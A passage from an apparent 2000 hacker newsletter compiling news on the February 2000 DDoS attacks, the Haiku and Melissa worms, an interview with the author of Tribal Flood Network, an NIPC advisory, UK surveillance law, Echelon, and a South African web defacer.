some of the most massive denial of service attacks ever launched against
these major portals and web sites. Yahoo, one of the top three most visited
sites on the Internet, was reported to have been down for three hours on
Sunday. Buy.Com had been taken down for several hours as well early Monday,
with CNN and eBay unreachable during the afternoon, and then Amazon.Com and
Zdnet.Com unreachable for hours late Monday night—reportedly all the
targets of the latest round of attacks on Monday.
The main questions that beg to be answered are who is doing this, and why.
Several stories have been done in the last day, based mostly on rumors that
have been floating around and "expert" opinions as to what was
happening and why, but there aren't many hard facts among them.
Several stories have reported the problem as a huge Denial of Service
attack, where crackers launch a large amount of false requests at a server,
basically clogging it up so other users can not reach it. A few
stories have reported that the Yahoo problem was just that, an internal
problem with the company that provides Yahoo with their connection to the
Internet, and not an attack. Still others have reported both poorly
configured equipment and a combination of attacks.
It is clear now, with the attacks against CNN, Buy.Com, eBay, Amazon and
Zdnet today, that there is someone, or some group, out there with an
agenda, attacking these sites on purpose. The reasoning behind it may
remain unknown for now, but many in the hacker community are speculating
what kind of attacks are being used to cause this type of massive denial of
service, and what the motives might be behind it.
A hacker with Condemned.Org, who goes by the name b|ueberry, said she
thought the attacks were done using a program called "Trinoo," which allows
one person to set up several systems (thousands possibly) across the
Internet and use them in a coordinated attack. This type of program allows
the attackers to easily utilize a large network of boxes they have control
of across the Internet, and use them to strike at once against their
desired targets. As to why these attacks were taking place, she speculated
that they "were a bunch of idiots with nothing better to do…"
Her harsh words were echoed across the net.
"The people who did this are most likely bored 15 year olds with nothing
better to do than be a menace," said Eli Bottrell, system administrator for
SysAdmins.Com.
Others that were questioned about their views on these attacks followed
suit, saying that the assaults were most likely being perpetrated by
youngsters either out to impress friends or make a name for
themselves.
One unnamed expert was quoted on the Today Show this morning claiming he
had gotten an e-mail from the attackers. This e-mail, he said, claimed that
the attackers were mad at the commercialization of the Internet and at
the specifically targeted sites, and also went on to state that the attacks
would continue against other large sites.
Reports coming out of San Francisco say that the FBI there has opened an
investigation into this matter, and is also looking into some of the
effected companies. One story had unconfirmed reports of the attacks
being traced back to a central computer where a list of possibly of up to
ten thousand compromised systems was found.
Although large-scale Denial of Service attacks are nothing new to the
Internet, not many have been seen on such a large scale against so many
targets, as is the case here. Administrators and security experts are
sometimes baffled when it comes to stopping these attacks because of the
shear size of the assault, and the multiple locations of origin around the
Web. In either case, most people questioned shared the view that the
attackers would be caught sooner of later.
Bronc Buster is a California-based hacker and can be reached at
bronc@thesynthesis.com
@HWA
127.0 HNN: Feb 10th; Haiku Worm Now on the Loose
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Arik
A worm known as Win32 Haiku.16384, or Haiku Worm for
short, has been identified as a potential threat to
Internet sites. Once infected the worm searches a
victims hard drive for email addresses and then mails
itself out to every address it finds.
PR Newswire - via Yahoo
http://biz.yahoo.com/prnews/000209/ny_ca_warn_1.html
Wednesday February 9, 8:27 am Eastern Time
Company Press Release
SOURCE: Computer Associates International, Inc.
Computer Associates Warns of New 'Haiku' Worm
Media Alert for Wednesday, February 9, 2000
ISLANDIA, N.Y., Feb. 9 /PRNewswire/ -- Computer Associates International,
Inc. (CA) today warned computer users of the ``Win32 Haiku.16384'' Worm,
which has the potential to overload network traffic, impacting the
availability of resources. The increase in network traffic may
degrade eBusiness performance, making end users unable to connect to email
and eCommerce sites. CA has the detection and the fix for this Worm, which
was reported by a client.
The Haiku Worm arrives in an email with the subject line ``Fw: Compose
your own haikus!'' The email will have the file Haiku.exe attached. The
text of the message reads:
:))
"Old pond... a frog leaps in water's sound." -Matsuo Basho.
DO YOU WANT TO COMPOSE YOUR OWN HAIKUS?
Haiku is a small poetry with oriental metric that appeared in the XVI
century and is being very popular, mainly in Japan and the USA.
It's done to transcend the limitation imposed by the usual language and
the linear/scientific thinking that treat the nature and the human being
as a machine.
It usually has 3 lines and 17 syllables distributed in 5, 7 and 5. It must
register or indicate a moment, sensation, impression or drama of a
specific fact of nature. It's almost like a photo of some specific moment
of nature. More than inspiration, what you need in order to compose
a real haiku is meditation, effort and perception.
DO YOU WANT TO COMPOSE YOUR OWN HAIKUS?
Now you can! it is very easy to get started in this old poetry art.
Attached to this e-mail you will find a copy of a simple haiku generator.
It will help you in order to understand the basics of the metric, rhyme
and subjects which should be used when composing a real haiku...
just check it out! it's freeware and you can use and spread it as long as
you want!
If Haiku.exe is run, it copies itself to C:\WINDOWS\HAIKUG.EXE and edits
the WIN.INI file, so the Worm will be loaded when Windows is restarted.
The Worm then displays a poem that is generated from an internal list of
words. The program exits when the 'OK' button is selected.
The next time a computer is restarted, the Worm will be loaded
automatically. At that point, it will not display any messages and is
registered as a service, so that it doesn't appear in the tasklist.
The Worm stays resident, checking for an active dial-up Internet
connection. When it finds one, it will search through files with the
extension .doc, .eml, .htm, .html, .rtf and .txt looking for email
addresses. The Haiku Worm then attempts to send a copy of itself to
all of the email addresses that it has found.
``CA aims to provide the most current and accurate information regarding
the latest Worm threats for our clients,'' said Simon Perry, CA's security
business manager. ``This worm is dangerous for eBusinesses because it
disguises itself cleverly and obtains email addresses from documents
rather address books. CA is urging all of our clients to download the
latest signature files that will provide protection from this latest
threat.''
For the latest information about computer viruses and worms, visit
http://www.ca.com/virusinfo.
CA is offering free downloads of antivirus software for personal use at
http://antivirus.cai.com and encourages computer users to take advantage
of this offering.
Computer Associates International, Inc. (NYSE: CA - news), the world's
leading business software company, delivers the end-to-end infrastructure
to enable eBusiness through innovative technology, services and education.
CA has 18,000 employees worldwide and had revenue of $6.3 billion
for the year ended December 31, 1999. For more information, visit
http://www.ca.com.
All trademarks, tradenames, service marks and logos referenced herein
belong to their respective companies.
SOURCE: Computer Associates International, Inc.
@HWA
128.0 HNN: Feb 11th;Investigations Continue, Reports of more Possible Attacks Surface
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
Early reports indicate that Excite may have been hit with a denial of
service attack early this morning. Some evidence seems to suggest that AOL
has also been hit however neither has yet been confirmed.
More information on the attacks is now becoming available as sites recover
from the attacks. After further investigation Yahoo has said that they
have been able to determine that they actually suffered four separate
attacks prior to the one that took them offline. All the attacks had a
large distributed smurf component to them. Other sites have reported
single sourced syn-attacks which may indicate copy cat activity. Of the
several attacks against Yahoo only the one beginning at 10:30am PST on
Monday had any noticeable effect. The massive amount of traffic generated,
in excess of 1G bits/sec, took down one router and when it recovered Yahoo
lost all routing to their upstream ISP. Due to earlier network hardware
problems investigators believed this to be the reason for the outage at
first. After completely pulling the plug from their upstream ISP, Yahoo
was able to stitch things back together and finally realized that they had
been under a widely distributed DoS attack. The attacker(s) seemed to know
about the network topology and planned this large scale attack in advance.
Global Center, the Yahoo ISP, is now throttling all forms of ICMP until
they can determine the best configuration
to prevent future attacks.
@HWA
129.0 HNN: Feb 11th;Author of Tool Used in Attacks Speaks
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Frank
Mixter, based in Germany and the author of Tribal Flood
Network, has granted several interviews. He has said
that using his tools to create such attacks "is quite
easy".
Heise - German
http://www.heise.de/newsticker/data/nl-10.02.00-000/
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2436358,00.html
Web-Sabotage: Eine harte Nuss für das FBI
US-Justizministerin Janet Reno hat gestern abend auf einer Pressekonferenz eine
umfassende Untersuchung der aktuellen Sabotageakte im Internet angekündigt. Die
amerikanische Kriminalpolizei FBI hat die Fahndung nach Hackern aufgenommen,
die den dritten Tag in Folge populäre Internetfirmen attackiert haben. Reno
versicherte, die Washingtoner Regierung werde alles tun, um die Sicherheit des
elektronischen Handels im Internet zu garantieren.
Nach wie vor sind keine "Bekennerschreiben" aufgetaucht, auch über die
Motive der Hacker herrscht Reno zufolge bisher Unklarheit. Der FBI-Experte
für Computersicherheit, Ron Dick, erklärte, das Spektrum der möglichen
Täter sei groß. Derartige Attacken könnten auf das Konto eines Teenagers
gehen, aber auch auf das einer ausländischen Regierung.
Den oder die Täter zu ermitteln dürfte sehr schwierig sein, da hierzu
große Mengen von Protokolldateien auf einer Reihe von Rechnersystemen
ausgewertet werden müssen. Bei Distributed Denial-of-Service (DDoS)
Attacks, wie sie in den letzten Tagen auftraten, arbeiten die Hacker über
ein mehrstufiges System infiltrierter Computer. Das Hacker-News-Network
(HNN) sprach von einem Kontrollknoten, auf dem eine Liste von bis zu
zehntausend geknackten Rechnern gefunden wurde, die für Angriffe zur
Verfügung standen.
HNN meldet zudem, dass einige der Datenbomben Inhalt trugen, der die
Kommerzialisierung des Internet verwünscht habe. Auch Grüße an
Hackerzirkel und den deutschen Hacker Mixter, dem Programmierer eines
DDoS-Tools, seien beobachtet worden. Mixter zeigte sich c't gegenüber
schockiert und distanzierte sich von den Attacken: "Es scheint, als wären
die Angreifer ziemlich ahnungslose Leute, die machtvolle Ressourcen und
Programme für sinnlose Aktivitäten missbrauchen, einfach nur weil sie es
können. Das hat nichts mit Hacken oder 'Hacktivismus' zu tun."
Nicht zuletzt zeigen die Vorfälle Risiken einer digitalisierten
Gesellschaft, die sich immer mehr auf die Verfügbarkeit der elektronischen
Infrastruktur verlässt: Bisher waren nur E-Commerce-Sites und
Dienstleister betroffen -- die Hauptfolgen sind Wartezeiten und
Unbequemlichkeiten für die Kunden, der finanzielle Schaden dürfte
vergleichsweise gering ausfallen. Gleichartige Angriffe
könnten aber im Prinzip jeden Dienst lahm legen, der über ein öffentlich
zugängliches Netz läuft. Damit könnten beispielsweise Wirtschaftsunternehmen
bei zeitkritischen Verhandlungen Konkurrenten ausschalten, Störer die
Koordination von Rettungsmaßnahmen im Katastrophenfall behindern oder
Regierungen unliebsame Bürgerrechtsbewegungen zum Schweigen bringen. (nl/c't)
-=-
Author of Web attack tool speaks
'The Net is as susceptible to hack attacks as its weakest parts.' So says
'Mixter,' the hacker who created the tool possibly used in this week's
spate of Web attacks.
By Robert Lemos, ZDNet News
UPDATED February 10, 2000 5:04 PM PT
The Internet has its own sense of irony.
While chatting online with ZDNet about this week's spate of Web attacks,
"Mixter" -- a self-proclaimed "white-hat hacker" who created the Tribal
Flood Network denial-of-service tool some believe is responsible for
several of those attacks -- was knocked offline by a flood of data
similar to those very same attacks.
"It's quite easy," Mixter said of the data-flood technique used
against Yahoo!, eBay, Buy.com, Amazon.com, CNN, E*Trade,
MSN.com and ZDNet. And the tool allegedly created by the
20-year-old German-based hacker makes it even easier.
The Tribal Flood Network and its newest version, TFN2K,
can implement a denial of service by flooding servers and
routers with a bewildering variety of different data types.
In an exclusive chat interview with ZDNet, Mixter called
Tribal Flood Network a teaching tool that points out the
holes in the Web. Others consider it a danger.
ZDNet: How did you get into security?
Mixter: Well, I worked with computers for a long time. I
started with my first computer when I was 6 years old,
and I've been interested in the technical details of
operating systems and networks since I was about 14
when I got my first PC with an Internet connection.
ZDNet: What computer did you start with?
Mixter: Commodore 64.
ZDNet: Do you consider what you do to be "hacking"?
Mixter: I think what I do is hacking in the "traditional"
sense, but I'm afraid to use the term, since the meaning
of "hacker" is changing to something negative. I had
some conflicts with the law in the past, but I'm a
white-hat now.
ZDNet: What sort of things happened in the past?
Mixter: Well, I started with it like many people on Efnet
(a major IRC chat network) do, by learning how to take
over and how to secure chat channels. Then I went over
to programming and writing IRC robots. Unfortunately, I
have also "actively" taught myself how to get into
systems. I used some compromised systems for running
and testing IRC bots, for which I've been raided and
persecuted, but gladly I didn't commit real major damage
with anything I did. I consider it as a mistake in my past,
from which I've learned.
ZDNet: Why did you want to make a tool like TFN and
make it public for all the script kiddies to use and abuse?
Mixter: I rewrote TFN after what I thought Trinoo (a tool
that makes another DoS attack known as SMURFing
easy) worked like because Trinoo was kept private. First,
I called it the "teletubby flood network," but I thought the
name was just too silly.
The problem (with today's infrastructure) is that a lot of
weaknesses exist. For example, you can employ
spoofing and distributed concepts, and it is hard to do
something against it due to Internet protocol
weaknesses. I decided to write TFN and post the source
code publicly to security sites, so people could scrutinize
the code, and possible upcoming attack methods, and
come up with a patch. This is the security concept known
as "full disclosure." The main idea is that security people
find and post any weaknesses, including really dangerous
ones, as soon as possible, so everyone has a chance of
analyzing them and thinking about countermeasures.
ZDNet: Yet, there seems to be no comprehensive
solution to the problem. That is, if you want to let people
access your site, you must to some degree be
susceptible to a DDoS (distributed denial-of-service)
attack.
Mixter: That's true, but the real problem is the lack of
authentification in current protocols. Besides, you
actually have to compromise a real lot of other hosts to
be able to penetrate fast sites. ... That is the concept of
DDoS. There are methods (to stop more advanced DoS
attacks) including SYN interception and proxying at the
routers. However, all these short time measures can only
minimize the impact of the floods; they cannot fully
prevent it. When a site is attacked really badly, they're
probably still going to notice it somehow.
ZDNet: So, in your mind, what is the solution to this
problem?
Mixter: Well, you can basically spoof the origin of any
packet arbitrarily. And that has to be prevented in the
long term by migrating to IPv6 (the next-generation
Internet protocol), which provides necessary
authentication facilities and a bunch of other security
extensions.
ZDNet: What is the short-term solution?
Mixter: The solution for the hosts that are being
compromised is simply to care about their security, by
updating their software and configurations. It's that easy.
The attacker *HAS* to gain access to his "slave" servers
by exploiting existent security vulnerabilities. The Net is
as susceptible to hack attacks as its weakest parts.
Also, limit the amount of bandwidth that is being let
through at the backbone provider. This is a concept that
many people are implementing.
ZDNet: And when do you think IPv6 will actually make it
into most of the infrastructure?
Mixter: IPv6 should get implemented as soon as
possible, not only because of security aspects, but
because the growth of the Internet will make it inevitably
necessary by 2004, or sooner. The old IP protocol is a
relic, comparable to the Y2K bug. It is soon going to
cause problems if people don't care about it.
ZDNet: Do you think that the people who make these
tools available (i.e., put power in the hands of people who
don't use it responsibly) are responsible for the use of
them? Yourself, for instance?
Mixter: No, that's generally not the case, and it is, in my
opinion, irrational to say so. I also know the author of
Trinoo, who hasn't directly been launching the attacks,
but I think he is afraid and wants to stay anonymous.
ZDNet: Are you planning to make any other such tools?
Mixter: Currently not. I've released TFN2K, after the
CERT advisory. The purpose of releasing another DDoS
tool was to include all possible attacking, stealthing, etc.,
features in that tool that could be developed in the future I
could think of.
We are currently seeing new derivatives of tools with
small variations, but nothing that is really worse or more
"powerful" in any way. ... My purpose of releasing TFN2K
was showing all these risks in one rush, and as early as
possible.
ZDNet: So, anything you want to say about the attacks
that are currently occurring?
Mixter: Well, there has been rumor that they included in
the packets some protest against e-commerce. I think
they are mostly social motivated, and I don't condone any
of such activity. Most of all because it doesn't require
really great technical skill to install these tools and
launch attacks, and it serves absolutely no constructive
purpose.
@HWA
130.0 HNN: Feb 11th;NIPC Reissues Alert on DDoS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by suthercj
The National Infrastructure Protection Center has
reissued its advisory concerning Distributed Denial of
Service attacks. The advisory was originally issued in
December of 1999.
FBI.gov
http://www.fbi.gov/nipc/ddos.htm
(Dig, my ALL-CAPS AUTHORITAY! yesh you can find them on IRC and on
AOL as well - Ed)
SUBJECT: NATIONAL INFRASTRUCTURE PROTECTION CENTER INFORMATION SYSTEM
ALERT (NIPC ALERT 00-034): RE-ISSUE OF NATIONAL INFRASTRUCTURE PROTECTION
CENTER INFORMATION SYSTEM ALERT (NIPC ALERT 99-029) ORIGINALLY ISSUED
12/6/99;
1. BEGINNING ON 7 FEBRUARY 2000, A NUMBER OF HIGH-PROFILE DENIAL OF
SERVICE (DOS) ATTACKS TEMPORARILY DISABLED SIGNIFICANT ELECTRONIC COMMERCE
INTERNET WEB SITES. THESE CYBER ATTACKS TARGETED COMPANIES SITES
LIKE YAHOO.COM, AMAZON.COM, CNN.COM, BUY.COM, EBAY.COM, STAMPS.COM,
EXODUS.COM, ETRADE.COM, AND ZDNET.COM; REPORTED VICTIMS HAVE APPARENTLY
RECOVERED FROM THE ATTACKS WITHIN A FEW HOURS. PUBLIC REPORTING CITES
COORDINATED, DISTRIBUTED DENIAL OF SERVICE (DDOS) ATTACKS ORIGINATING FROM
MULTIPLE POINTS ON THE INTERNET. THE FBI IS NOW INVESTIGATING A NUMBER OF
THESE ATTACKS; IN VIEW OF THESE EVENTS THE NIPC IS RE-ISSUING ITS ORIGINAL
ALERT DESCRIBING THE DDOS EXPLOIT. ADDITIONAL INFORMATION CAN ALSO BE
FOUND ON THE NIPC WEB PAGE AT WWW.NIPC.GOV AND AT THE CARNEGIE MELLON
COMPUTER EMERGENCY RESPONSE TEAM COORDINATION CENTER (CERT/CC) WEB PAGE AT
WWW.CERT.ORG.
2. BEGINNING IN THE FALL OF 1999, THE FBI/NIPC BECAME AWARE OF SEVERAL
INSTANCES WHERE INTRUDERS INSTALLED DISTRIBUTED DENIAL OF SERVICE TOOLS ON
VARIOUS COMPUTER SYSTEMS TO CREATE LARGE HOST NETWORKS CAPABLE OF
LAUNCHING SIGNIFICANT COORDINATED PACKET FLOODING DENIAL OF SERVICE
ATTACKS. INSTALLATION WAS ACCOMPLISHED PRIMARILY THROUGH COMPROMISES
EXPLOITING KNOWN SUN RPC VULNERABILITIES. THESE MULTIPLE DENIAL OF SERVICE
TOOLS INCLUDE TRIN00, TRIBE FLOOD NETWORK (OR TFN), TFN2K, AND
STACHELDRAHT, AND WERE REPORTED ON DIFFERENT CIVILIAN, UNIVERSITY AND U.S.
GOVERNMENT SYSTEMS. THE FBI CONTINUES INVESTIGATION OF MANY OF THESE
INCIDENTS, AND WAS AND IS HIGHLY CONCERNED ABOUT THE SCALE AND
SIGNIFICANCE OF THESE INCIDENTS, FOR THE FOLLOWING REASONS:
A) MANY OF THE TARGETS ARE UNIVERSITIES OR OTHER SITES WITH HIGH
BANDWIDTH INTERNET CONNECTIONS, REPRESENTING A POSSIBLY SIGNIFICANT
THREAT TO INTERNET TRAFFIC.
B) THE KNOWN CASES INVOLVE REAL AND SUBSTANTIAL FINANCIAL LOSS.
C) THE ACTIVITY TIES BACK TO SIGNIFICANT NUMBERS AND LOCATIONS OF
DOMESTIC AND OVERSEAS IP ADDRESSES.
D) THE TECHNICAL VULNERABILITIES USED TO INSTALL THESE DENIAL OF
SERVICE TOOLS ARE WIDESPREAD, WELL-KNOWN AND READILY ACCESSIBLE ON
MOST NETWORKED SYSTEMS THROUGHOUT THE INTERNET.
E) THE TOOLS APPEAR TO BE UNDERGOING ACTIVE DEVELOPMENT, TESTING AND
DEPLOYMENT ON THE INTERNET.
F) THE ACTIVITY OFTEN STOPS ONCE SYSTEM OWNERS START FILTERING FOR
TRINOO/TFN AND RELATED ACTIVITY.
POSSIBLE MOTIVES FOR THIS MALICIOUS ACTIVITY RANGE FROM EXPLOIT
DEMONSTRATION, TO EXPLORATION OR RECONNAISSANCE, TO PREPARATION FOR
WIDESPREAD DENIAL OF SERVICE ATTACKS. NIPC WAS CONCERNED THAT THESE
TOOLS COULD HAVE BEEN PREPARED FOR EMPLOYMENT DURING THE Y2K PERIOD, AND
REMAINS CONCERNED THIS ACTIVITY COULD CONTINUE TARGETING OTHER SIGNIFICANT
COMMERCIAL, GOVERNMENT OR NATIONAL SITES
3. NIPC REQUESTS THAT ALL COMPUTER NETWORK OWNERS AND ORGANIZATIONS
RAPIDLY EXAMINE THEIR SYSTEMS FOR EVIDENCE OF THESE DISTRIBUTED DENIAL OF
SERVICE TOOLS, IN ORDER TO BE ABLE TO QUICKLY IMPLEMENT CORRECTIVE
MEASURES (SPECIFIC TECHNICAL INSTRUCTIONS ARE AVAILABLE FROM CERT-CC,
SANS, NIPC, OR OTHER SOURCES). THESE CHECKS SHOULD BE DONE TO BOTH CHECK
AND CLEAR SYSTEMS OF TRINOO/TFN AND RELATED THREATS, AND TO SUPPORT LAW
ENFORCEMENT EFFORTS INVESTIGATING THESE EXPLOITS. RECIPIENTS ARE ASKED TO
REPORT SIGNIFICANT OR SUSPECTED CRIMINAL ACTIVITY TO THEIR LOCAL FBI
OFFICE, NIPC WATCH/WARNING UNIT, COMPUTER EMERGENCY RESPONSE SUPPORT AND
OTHER LAW ENFORCEMENT AGENCIES, AS APPROPRIATE. THE NIPC WATCH AND WARNING
UNIT CAN BE REACHED AT (202) 323-3204/3205/3206, OR NIPC.WATCH@FBI.GOV.
@HWA
131.0 HNN: Feb 11th; Lawmakers Succumb to Kneejerk Reaction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
"We might have to pass some legislation to get even
tougher" on computer crime, Senate Judiciary
Committee Chairman Orin Hatch, R-Utah, said
Wednesday. Hatch intends to hold a hearing sometime
in March to determine whether current laws give law
enforcers the "tools that they need" to prosecute
computer crime offenses.
News Bytes
http://www.newsbytes.com/pubNews/00/143704.html
Senators Mobilize Against Website Attacks
(I love Feds! - Ed)
By David McGuire, Newsbytes
WASHINGTON, DC, U.S.A.,
10 Feb 2000, 5:02 PM CST
Responding to the spate of recent attacks against commercial Websites, a
number of legislators are calling for a crackdown on computer crime.
"We might have to pass some legislation to get even tougher" on computer
crime, Senate Judiciary Committee Chairman Orin Hatch, R-Utah, said
Wednesday. Hatch intends to hold a hearing sometime in March to determine
whether current laws give law enforcers the "tools that they need" to
prosecute computer crime offenses, Judiciary Committee spokesperson Jeanne
Lopatto said today.
Senate Majority Leader Trent Lott has also raised concerns about the
recent attacks and is "monitoring the situation," according to the
majority leader's office.
Hatch, Lott and others on the hill are reacting to the recent glut of
"denial of service" attacks against large e-commerce providers such as
Amazon.com, CNN.com, and E-Trade.
The most recent confirmed attack struck Excite and there are unconfirmed
reports that America Online has fallen victim to a denial of service
attack.
Reported by Newsbytes.com, http://www.newsbytes.com .
@HWA
dum de dum, de dum dum dum... dum de doo do you trinoo?
132.0 HNN: Feb 11th; Humor in the Face of Chaos
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by n
A rather funny political cartoon that pretty much sums
up many peoples feeling on this matter has been
posted.
Cartoon
http://syndicam.com/cartoons/2000gifs/cam021000_hackers.gif
@HWA
133.0 HNN: Feb 11th; Britain Passes Despotic Laws
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Lady Sharrow
The UK Government came under fire on Thursday from
the internet community after it published a Bill to
regulate covert surveillance. The critics say the
legislation, if passed, could lead to innocent people
being sent to jail simply because they have lost their
data encryption codes. The Regulation of Investigatory
Powers Bill covers the monitoring and the interception of
communications by law enforcement and security
agencies. It will, for example, lay down the legal rules
that must be followed by the police and security
services when they tap someone's phone.
BBC
http://news.bbc.co.uk/hi/english/sci/tech/newsid_638000/638041.stm
Surveillance bill under fire
At issue is the burden of proof
The UK Government came under fire on Thursday from the internet
community after it published a Bill to regulate covert surveillance.
The critics say the legislation, if passed, could lead to innocent
people being sent to jail simply because they have lost their data
encryption codes.
The Regulation of Investigatory Powers Bill covers the monitoring
and the interception of communications by law enforcement and security
agencies. It will, for example, lay down the legal rules that must be
followed by the police and security services when they tap someone's
phone.
It also regulates the authorities' access to the codes that encrypt
data sent over the net. Such encryption will increasingly become a routine
tool of e-commerce, built into ordinary e-mail and browser software. But
the Home Office is deeply concerned that criminals, such as paedophiles,
will use encryption to hide their activities.
And, as a result, the Bill proposes that the police or the security
services should have the power to force someone to hand over decryption
keys or the plain text of specified materials, such as e-mails, and jail
those who refuse.
The government believes it has built sufficient safeguards into the
legislation. But Caspar Bowden, from the Foundation for Information Policy
Research, said the law as drafted was "impossible" and accused the
government of ignoring all the advice and lobbying it had received from
the net community over the past year.
Net privacy
At issue is the burden of proof. Critics of the legislation say
someone might go to jail unless they could prove they did not have a
requested key - an impossible defence for someone who has lost the
software code.
"This law could make a criminal out of anyone who uses encryption to
protect their privacy on the internet," Mr Bowden said.
"The Department of Trade and Industry jettisoned decryption powers
from its e-Communications Bill last year because it did not believe that a
law which presumes someone guilty unless they can prove themselves
innocent was compatible with the Human Rights Act.
"But the corpse of a law laid to rest by Trade Secretary Stephen
Byers has been stitched up and jolted back into life by Home Secretary
Jack Straw."
Under the new legislation, the police would have to have "reasonable
grounds to believe" someone suspected illegal activity had a key. Previous
attempts to draft the legislation had only used the word "appear".
Human rights
Caspar Bowden acknowledged that the change replaced a subjective
test with one requiring some objective evidence. The prosecution would
have to show that someone receiving encrypted e-mail has or had a key.
However, he said the presumption of guilt remained for those who had
genuinely lost or forgotten their keys.
"It's clear we are heading for the courts with a human rights test case,"
Mr Bowden told BBC News Online. "The legislation could be amended, but
it's obvious the government is not going to take that course."
However, the Home Secretary, Jack Straw, is clearly confident about
the legal advice he has received.
"The Human Rights Act and rapid change in technology are the twin
drivers of the new Bill," he said.
"None of the law enforcement activities specified in the Bill is
new. Covert surveillance by police and other law enforcement officers is
as old as policing itself; so too is the use of informants, agents, and
undercover officers.
"What is new is that for the first time the use of these techniques
will be properly regulated by law, and externally supervised, not least to
ensure that law enforcement operations are consistent with the duties
imposed on public authorities by the European Convention on Human Rights
and the Human Rights Act."
@HWA
134.0 HHN: Feb 11th; France Sues US and UK over Echelon
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by n
The British and US Governments are to be sued in
France after claims that the countries have spied on
French companies, diplomats and political officials.
Lawyers are planning a class action suit after
confirmation last week that a global eavesdropping spy
network exists.
The Times UK
http://www.the-times.co.uk/news/pages/tim/2000/02/10/timfgneur01007.html?999
February 10 2000
EUROPE
French to sue US and Britain over
network of spies
FROM ADAM SAGE IN PARIS
THE British and US Governments are to be sued in
France after claims that they have spied on French
companies, diplomats and Cabinet ministers. Lawyers are
planning a class action after confirmation last week that a
global anglophone spy network exists.
Codenamed P-415 Echelon, the world's most powerful
electronic spy system was revealed in declassified US
National Security Agency documents published on the
Internet, and is capable of intercepting telephone
conversations, faxes and e-mails.
The system was established in the 1980s by the UKUSA
alliance, which unites the British, American, Australian,
New Zealand and Canadian secret services. In Europe, its
listening devices are at Menwith Hill defence base in
Yorkshire. French MPs claim to have evidence that the
European Airbus consortium lost a Fr35 billion (£3.5
billion) contract in 1995 after its offer was overheard and
passed to Boeing. Georges Sarre, a left-wing MP, said:
"The participation of the United Kingdom in spying on its
European partners for and with the US raises serious and
legitimate concerns in that it creates a particularly acute
conflict of interest within the European Union."
The European Parliament's Civil Liberties Committee will
study a report on the Echelon network on February 23.
The debate is certain to fuel criticism of Britain's role.
Until this month, the network was an official secret
recognised by none of the members of the UKUSA
alliance. But the documents published by the George
Washington University prove its existence and its capacity
to intercept civilian satellite communications.
Jean-Pierre Millet, a Parisian lawyer, said that Echelon
tracked every mobile and satellite call, but only decoded
those involving a key figure. "You can bet that every time
a French government minister makes a mobile phone call,
it is recorded," he said.
M Millet said that Echelon's system leaves it open to legal
challenge under French privacy laws. "The simple fact that
an attempt has been made to intercept a communication is
against the law in France, however the information is
exploited." Yesterday he said that he would bring an
action on behalf of French civil liberty groups.
@HWA
135.0 HNN; Feb 11th; Mellissa Virus Comes Back
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Not that she ever really went away but the Melissa
virus reappeared Thursday afternoon clogging the email
systems of Washington's Snohomish County
government's e-mail system.
Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500166597-500212095-500988439-0,00.html
Melissa virus resurfaces, shuts down Washington county e-mail system
Copyright © 2000 Nando Media
Copyright © 2000 Associated Press
EVERETT, Wash. (February 11, 2000 8:35 a.m. EST http://www.nandotimes.com)
- A computer virus blamed for more than $80 million in damage last year
has resurfaced, this time in the Snohomish County government's e-mail
system.
The virus known as Melissa eluded virus defenses and infested county
computers about noon Thursday, resulting in shutdown of the e-mail system,
said Colin Bottem, director of information services.
The rest of the county's computer services were not affected, Bottem said.
E-mail servers were "being cleaned up" and the system should be operating
normally again Friday afternoon, Bottem said.
Melissa struck thousands of e-mail systems last March, disguised as an
"important message" from a friend, and spread around the world like an
electronic chain letter. In December, David L. Smith, a computer
programmer, pleaded guilty in Newark, N.J., to creating the virus
and using a sex Web site to spread it through cyberspace.
When the message is opened, the virus goes to the recipient's computer
address book and sends the same message to the first 50 e-mail addresses.
"It replicates itself," Bottem said.
@HWA
136.0 aKt0r's story by Wyzewun
~~~~~~~~~~~~~~~~~~~~~~~~
aKt0r's Story
Contributed by Wyzewun
The following is an article out of January 16th's edition of "The Star", South
Africa's most popular Sunday newspaper... [Comments by me are enclosed in
square brackets]
--- Begin Article ---
Computer Boffs Hunt Teen Hacker
'Akt0r' claims his intentions are good
By Andre Jurgens
A Computer Whiz Kid has become South Africa's most wanted "cyber-villian"
after breaking into nearly a dozen "safe" Internet web sites. The 19-year-old,
who calls himself Akt0r, has so far evaded capture but computer security
experts from the Johannesburg Stock Exchange are on his trail after an
embarassing attack on their web site last weekend.
Akt0r claims in just four months to have "cracked" sites owned by Eskom, The
Police, Rand Afrikaans University, Southern Life, Stormers Rugby Club,
Incredible Connection, Computicket, Durban Metropolitan Council and the
government's Stats SA page. Each time he replaced their official webpages with
his own messages, criticising their "clueless" security and hinting that he
was willing to accept a job in the computer industry.
The companies were not eager to discuss the attacks in detail this week but
all said no confidential information had been compromised. [Wyzewun: This is
true for the South African Police Service, because their page is hosted at a
seperate ISP and have their private network accessible only over dialup.
However, I seriously doubt this is true for the likes of Incredible Connection
and Southern Life.] Akt0r told the Sunday Times he broke into the web sites
"for a good cause, to prove a point actually - Security measures in South
Africa are quite lame", he said, "Privacy is not well guarded. How safe do you
think your personal details are?" "I'm not malicious. I have not destroyed or
stolen information."
His goals are to land a job in the information technology industry. "I've had
enough of hacking. I want to get a job and make a positive contribution to the
